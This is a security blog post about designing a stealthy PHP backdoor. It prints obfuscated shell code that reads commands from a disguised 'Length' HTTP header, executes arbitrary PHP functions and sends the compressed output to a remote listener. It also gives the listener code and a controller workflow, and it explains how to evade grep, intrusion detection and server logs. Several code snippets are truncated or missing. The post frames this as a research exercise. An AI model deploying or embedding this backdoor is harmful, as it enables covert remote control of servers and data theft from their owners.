A Look Into Creating A Truley Invisible PHP Shell

EDIT: Never had a post with so much split between loving/hating it. I’m enjoying all the constructive criticism though so I guess it’s a win/win either way.

A while ago, after discovering that a popular hacking site was hosting backdoor scripts that were themselves backdoored, I began to think about how someone would backdoor some PHP code in the most stealthy way.

However, before attempting to create an invisible PHP shell I first had to define what that looks like.


  • Lightweight – The code should be tiny and unnoticeable, not more than a few lines. Else it risks being found by somebody looking over source code.
  • Discrete Code – This shell should not utilize any sort of ‘obvious’ functions that would be found by simply grepping for them.
  • IDS Resistant – No IDS should pick up the shell in use, network traffic shouldn’t throw any alarms.
  • Consistent Logs – We obviously don’t want to introduce anything odd into the logs to alert anyone.
  • Universally Compatible – No functions should be used that wouldn’t work on 99% of PHP installs.

I think these are fair goals to achieve, but will it be easy?

A First Attempt

My first attempt came after reading multiple articles on the topic. If nothing else I learned a lot of cool PHP tricks that I didn’t know before (and about being stealthy with your shells!)

Here are some of the articles I read, along with a short description of each:

http://www.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html – .htaccess shell that not only has IDS evasion baked in but is also invisible in Apache logs. I love this post and have come back to it many times.

http://stackoverflow.com/questions/3115559/exploitable-php-functions – A stackoverflow question about exploitable PHP functions, revealing the truth that it’s nearly impossible to simply block or grep a PHP shell.

http://seclists.org/bugtraq/2001/Jul/att-26/studyinscarlet.txt – Good paper on PHP vulnerabilities, which is perfect if you were going to simply introduce a vulnerability in code you’d rather exploit.

After reading those links and lots of PHP documentation I created my attempt:

function c(){try{if(isset($_SERVER['HTTP_LENGTH'])){set_time_limit(0);$c=explode("\x15",base64_decode(substr($_SERVER['HTTP_LENGTH'],2)));file_get_contents( $c[2]."qu".urlencode( base64_encode(gzcompress($c[0]($c[1]),9))));}}catch(Exception $e){}

Woah, that’s hard to read! Here’s the same code formatted for less eye-bleeding:


function c(){
        if(isset($_SERVER['HTTP_LENGTH'])) {
            file_get_contents( $c[2]."qu".urlencode(base64_encode(gzcompress($c[0]($c[1]),9))));
    }catch(Exception $e){}

That’s a little better, here’s a breakdown for those who don’t speak obfuscated PHP.


In PHP the ‘@’ symbol will silence any errors/warnings that occur while executing the function. In case things don’t go as expected during run-time!

function() {

Due to the fact that we are sending our response in HTTP headers we will need to execute this function before any headers/data are sent. This means it will have to be put towards the top of the code. Not good if we want it to be stealthy! So we wrap it up in a function which is called by c();. We then place c(); in the script before code is executed.


This sets the time limit to be infinite on run time so the script will not timeout during our operations. Optional but importantly if you’ll be attempting a long operation with the shell.


This function creates an array by splitting a string by a set delimiter. The string is being split by the non-printable ASCII character “NAK” character. This is also advantageous because it’s not a character we’d ever send in a command.


Decoding an input Base64 string into plain text.

substr([STRING], 2);

Remove the first two characters of a string, this is to throw off IDS trying to decode the Base64 string. Any attempts to decode the encoded string will fail due to two random characters being added to the front of the input.


This looks like length of HTTP data being sent to the server at first but it is not. PHP’s $_SERVER variable stores information about headers the browser has sent to the server. Interestingly enough, if I add a header called “Length” in my request it would fill up the variable $_SERVER[‘HTTP_LENGTH’] with the header’s content. This is tricky to anyone reading it and might throw even a PHP guru off the idea of malice. Since this is not a real HTTP header, it has no side effects that could damage our connection.

file_get_contents( $c[2]."qu".urlencode(base64_encode(gzcompress($c[0]($c[1]),9))));

This is how we send the response back to our server, the $c[2] array element contains our remote PHP listener that we will send the response to. For example, this variable may contain “http://example.com/listener.php?r=”. We also URL encode the sent base64 string because it may contain equal characters which have special meaning in URLs.


Use level 9 ZLIB compression on the string, the highest compression available to send our response. If our response contains a large amount of repeated characters we will save a large amount of network traffic.


PHP is a weird language, riddled with ‘hidden features’. This one might be easier to explain with code…

Say I wanted to call shell_exec, I could do something like this:


But I could also do it like this:

$function = "shell_exec";
$arg = "ls";

The two pieces of code do the same thing, you can have variables creating and running any function you wish.

Like I said, weird language 😉

I’d also like to note that you can execute code like so:


Yep, simple backticks or “Execution Operators” in PHP are enough to execute shell commands.

I decided against this as I also wanted the ability to call PHP functions like phpinfo(); if I desired. Which could be useful in a pinch or to gain some quick information about the environment you’re dealing with.

}catch(Exception $e){}

Just to be paranoid we nest the entire thing in a try/catch statement to stop any fatal errors from occurring. No change of filling up the error log this way, with gives it points in the “Consistent Logs” category.

So what about that listener?


if( isset($_GET['r']) ) {
    $response = gzuncompress( base64_decode( substr( $_GET['r'], 2 ) ) );
    file_put_contents( "response.txt", $response );


The listener is very simple, it gets the value of $_GET[‘r’] and deobfuscates, decodes, and writes the response to “response.txt”.

So we have our remote shell, our listener, but now we need the final script to tie it all together.

RAGE – The Shell Controller


The shell works in the following way:

  1. A GET request is preformed to the backdoored PHP page on the remote server
  2. The backdoored page then preforms it’s own GET request to the hacker’s server with the command output
  3. Rinse, repeat

This has the advantage of keeping all request sizes the same: - - [01/Apr/2014:12:14:52 -0700] "GET /php/ HTTP/1.1" 200 5355 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" # ls - - [01/Apr/2014:12:15:35 -0700] "GET /php/ HTTP/1.1" 200 5355 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36" # whoami - - [01/Apr/2014:12:50:19 -0700] "GET /php/ HTTP/1.1" 200 2711 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0"

The first request was an “ls” command and the second was a “whoami” command – note the size for both is 5355 and is consistent. The final request is a regular GET request from my Firefox web browser for comparison. So while the shell request is bigger than other requests it could (hopefully) be ruled out as an odd browser/web crawler with a large request header. Sadly because it’s not completely unnoticeable we lose points in the stealth category for this one. Outgoing connections could also be detected but since they only occur for a few seconds they shouldn’t be too noticeable.

How did we do?

  • Lightweight – The code is fairly lightweight and compact at only a few lines
  • Discrete Code – The code uses no obvious/grep-able functions so it should be fairly discrete
  • IDS Resistant – Most IDS wouldn’t be able to decode the traffic due to it being botched up Base64 encoding so I’d consider this fulfilled. The only issue being the outgoing GET requests to our control server that could give us away.
  • Consistent Logs – Logs are fairly consistent, the request sizes are always the same regardless of command but are sadly larger that normal.
  • Universally Compatible – This shell is very compatible since it allows virtually any PHP function to be used in case of a function blacklist.

Overall a fun exercise in both PHP and security – love to hear any suggestions on improvement to the shell. Especially form sysadmins or PHP gurus who have insight on how they detect intrusions.

For the full RAGE shell source click here

Until next time,


Matthew Bryant (mandatory)

Matthew Bryant (mandatory)
Security researcher who needs to sleep more. Opinions expressed are solely my own and do not express the views or opinions of my employer.